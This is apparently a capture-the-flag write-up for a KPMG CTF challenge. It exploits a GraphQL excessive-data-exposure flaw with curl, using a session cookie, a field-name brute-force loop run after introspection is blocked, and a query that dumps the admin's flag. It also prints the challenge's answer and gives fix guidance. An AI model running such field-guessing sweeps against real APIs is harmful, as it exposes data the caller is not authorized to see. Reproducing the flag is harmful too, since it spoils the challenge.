Arclight 1: GraphQL Excessive Data Exposure
On this page
Flag: KPMG_CTF{h1dd3n_f13ld_n0t_s0_h1dd3n}
Target: https://kicyber-5bda688c8057-arclight1-0-0.chals.io Category: API (GraphQL) / excessive data exposure (broken property-level authorization) Hint (from KPMG CTF): “Every answer the directory gives you is one the UI decided you could see. The UI doesn’t decide what the API returns. Ask it properly and see what falls out.”
Overview
Arclight is a Flask “staff portal”. After registering and logging in you get a dashboard whose
sections (Directory, Projects, Travel, Developer) each fetch /category/<name> and render
tiny, sanitised JSON. The “Developer” section leaks the real target: an internal GraphQL API
at /graphql, also reachable through a /console query page.
The GraphQL users query only appears to expose id, username, email, because that’s the
selection set the UI hardcodes. The resolver, however, returns any field you select.
Introspection is blocked for the user role, but the field-level data is not access
controlled, so simply adding a flag field to the query dumps the admin’s flag. This is the
classic GraphQL excessive-data-exposure / broken property-level authorization flaw the hint
describes: the UI chooses what to show, the API doesn’t choose what to return.
Recon
1. App surface
base="https://kicyber-5bda688c8057-arclight1-0-0.chals.io"
curl -s -i "$base/" | head -8
Output: 302 FOUND → Location: /login, served by Werkzeug/3.1.9 Python/3.11.17 (Flask).
/login and /register are standard username/password forms.
2. Register + log in (keep the cookie jar)
U="hunter_25119"; P="<password>"
curl -s -c cj.txt -b cj.txt -X POST "$base/register" --data "username=$U&password=$P" -o /dev/null
curl -s -i -c cj.txt -b cj.txt -X POST "$base/login" --data "username=$U&password=$P" | grep -i set-cookie
Output:
Set-Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiaHVudGVyXzI1MTE5In0.aspa3A.Vk-gOfYaA_p9JBZjCQTmbDeevbY; HttpOnly; Path=/
The Flask session cookie base64-decodes to {"role":"user","username":"hunter_25119"}, so there
is a privileged role somewhere, but (as we’ll see) we never need to forge it.
3. Dashboard → find the API
curl -s -b cj.txt "$base/dashboard"
The page’s JS calls fetch('/category/' + name). Pulling each category:
for c in directory projects travel developer; do
echo "== $c =="; curl -s -b cj.txt "$base/category/$c"; echo
done
Output:
== directory == [{"entries":5,"team":"Staff Directory"}]
== projects == [{"project":"Helios","status":"active"}]
== travel == [{"place":"Lisbon","status":"booked"}]
== developer == [{"note":"Internal directory API (GraphQL) is live at /graphql"}]
The developer category hands us the real endpoint: /graphql. The /console page is a UI
for it and shows the default query { users { id username email } }.
The API returns more than the UI asks for
4. Baseline query (what the UI shows)
curl -s -b cj.txt -X POST "$base/graphql" -H 'Content-Type: application/json' \
--data '{"query":"{ users { id username email } }"}'
Output:
{"users":[
{"email":"k.mercer@arclight.example","id":1,"username":"k.mercer"},
{"email":"t.okafor@arclight.example","id":2,"username":"t.okafor"},
{"email":"j.vance@arclight.example","id":3,"username":"j.vance"},
{"email":"s.dial@arclight.example","id":4,"username":"s.dial"},
{"email":"r.noe@arclight.example","id":5,"username":"r.noe"}]}
5. Introspection is blocked: probe fields instead
curl -s -b cj.txt -X POST "$base/graphql" -H 'Content-Type: application/json' \
--data '{"query":"{ __schema { types { name } } }"}'
Output:
{"error":"Introspection is not allowed for your role"}
Introspection is gated by role, but individual fields are not. Guess field names on the
User type; GraphQL’s error messages even suggest valid ones (“Did you mean ‘role’?”). A quick
sweep:
for f in role password secret flag token notes phone ssn department salary is_admin api_key; do
r=$(curl -s -b cj.txt -X POST "$base/graphql" -H 'Content-Type: application/json' \
--data "{\"query\":\"{ users { $f } }\"}")
echo "[$f] $r"
done
Output (abridged):
[role] {"users":[{"role":"admin"},{"role":"user"},{"role":"user"},{"role":"user"},{"role":"user"}]}
[password] ["Cannot query field 'password' on type 'User'. ..."]
[secret] ["Cannot query field 'secret' on type 'User'. ..."]
[flag] {"users":[{"flag":"KPMG_CTF{h1dd3n_f13ld_n0t_s0_h1dd3n}"},{"flag":null},{"flag":null},{"flag":null},{"flag":null}]}
[token] ["Cannot query field 'token' on type 'User'. Did you mean 'role'? ..."]
...
role is a real (UI-hidden) field (user 1 k.mercer is the admin), and a flag field exists
on User, exposed to our plain user session.
6. Pull the flag (SOLVED)
curl -s -b cj.txt -X POST "$base/graphql" -H 'Content-Type: application/json' \
--data '{"query":"{ users { id username role flag } }"}'
Output:
{"users":[
{"flag":"KPMG_CTF{h1dd3n_f13ld_n0t_s0_h1dd3n}","id":1,"role":"admin","username":"k.mercer"},
{"flag":null,"id":2,"role":"user","username":"t.okafor"},
{"flag":null,"id":3,"role":"user","username":"j.vance"},
{"flag":null,"id":4,"role":"user","username":"s.dial"},
{"flag":null,"id":5,"role":"user","username":"r.noe"}]}
Flag: KPMG_CTF{h1dd3n_f13ld_n0t_s0_h1dd3n}
Why it works
- The dashboard only ever requests
{ id username email }, soroleandflagnever appear in the rendered JSON. That filtering lives entirely in the client. - The GraphQL resolver returns whatever fields the client selects. There is no per-field
authorization: a
user-role session can readflagjust by naming it. - Blocking introspection is security theatre here: it only hides the schema, it does not protect the data. Field names are guessable (and GraphQL’s “Did you mean…” hints help), so the hidden fields are trivially discoverable.
Root cause & fix
Textbook excessive data exposure / broken object-property-level authorization (OWASP API3 + API1):
- Authorize per field, not per UI. Sensitive fields (
flag,role, and anything likepassword/ssn) must be gated server-side in the resolver based on the caller’s role, not left to the front-end’s selection set. - Disabling introspection ≠ access control. Keep it off in prod if you like, but it is not a substitute for authorizing the actual data; attackers brute-force field names.
- Don’t co-locate secrets with directory data. The flag should never be a column the public
usersquery can reach.
Takeaways
- When a hint distinguishes “what the UI shows” from “what the API returns,” attack the API directly and expand the selection set; the client’s query is only a suggestion.
- Follow the breadcrumbs: a benign “Developer/notes” section revealed
/graphql. - Introspection blocked? Field-guess. GraphQL error messages leak valid field names
(“Did you mean ‘role’?”), and common names (
role,flag,secret,token) are quick wins.